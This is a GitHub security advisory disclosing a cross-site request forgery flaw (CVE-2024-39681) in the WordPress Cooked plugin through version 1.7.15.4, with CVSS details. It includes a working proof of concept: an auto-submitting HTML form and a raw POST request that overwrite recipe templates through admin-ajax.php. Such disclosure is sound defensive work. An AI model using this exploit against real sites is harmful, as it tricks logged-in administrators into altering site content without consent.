Skip to content

WordPress Cooked Plugin <= 1.7.15.4 - Cross-Site Request Forgery to Apply Template to All Recipes

Moderate
XjSv published GHSA-q7p9-2x5h-vxm7 Jul 17, 2024

Package

No package listed

Affected versions

<= 1.7.15.4

Patched versions

1.8.0

Description

Description:

The Cooked plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to, and including, 1.7.15.4 due to missing or incorrect nonce validation on the AJAX action handler. This vulnerability could allow an attacker to trick users into performing an action they didn't intend to perform under their current authentication.

Steps to reproduce:

<html>
	<!-- CSRF PoC - Apply Template to All Recipes -->
	<body>
		<form action="https://target.tld/wp-admin/admin-ajax.php" method="POST">
			<input type="hidden" name="action" value="cooked&#95;save&#95;default&#95;bulk" />
			<input type="hidden" name="recipe&#95;ids" value="&#91;128&#44;256&#93;" />
			<input type="hidden" name="default&#95;content" value="&lt;p&gt;&#91;cooked&#45;info&#32;left&#61;&quot;author&#44;taxonomies&#44;difficulty&quot;&#32;right&#61;&quot;print&#44;fullscreen&quot;&#93;&lt;&#47;p&gt;&#10;&lt;p&gt;&#91;cooked&#45;excerpt&#93;&lt;&#47;p&gt;&#10;&lt;p&gt;&#91;cooked&#45;image&#93;&lt;&#47;p&gt;&#10;&lt;p&gt;&#91;cooked&#45;info&#32;left&#61;&quot;servings&quot;&#32;right&#61;&quot;prep&#95;time&#44;cook&#95;time&#44;total&#95;time&quot;&#93;&lt;&#47;p&gt;&#10;&lt;p&gt;&#91;cooked&#45;ingredients&#93;&lt;&#47;p&gt;&#10;&lt;p&gt;&#91;cooked&#45;directions&#93;&lt;&#47;p&gt;&#10;&lt;p&gt;&#91;cooked&#45;gallery&#93;&lt;&#47;p&gt;" />
			<input type="submit" value="Submit request" />
		</form>
		<script>
			history.pushState('', '', '/');
			document.forms[0].submit();
		</script>
	</body>
</html>

PoC request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.tld
Cookie: [cookies]
Content-Length: 788
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0

action=cooked_save_default_bulk&recipe_ids=%5b128%2c256%5d&default_content=<p>[cooked-info%20left="author,taxonomies,difficulty"%20right="print,fullscreen"]</p>%0A<p>[cooked-excerpt]</p>%0A<p>[cooked-image]</p>%0A<p>[cooked-info+left%3d"servings"+right%3d"prep_time,cook_time,total_time"]</p>%0A<p>[cooked-ingredients]</p>%0A<p>[cooked-directions]</p>%0A<p>[cooked-gallery]</p>

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

CVE ID

CVE-2024-39681

Weaknesses

Credits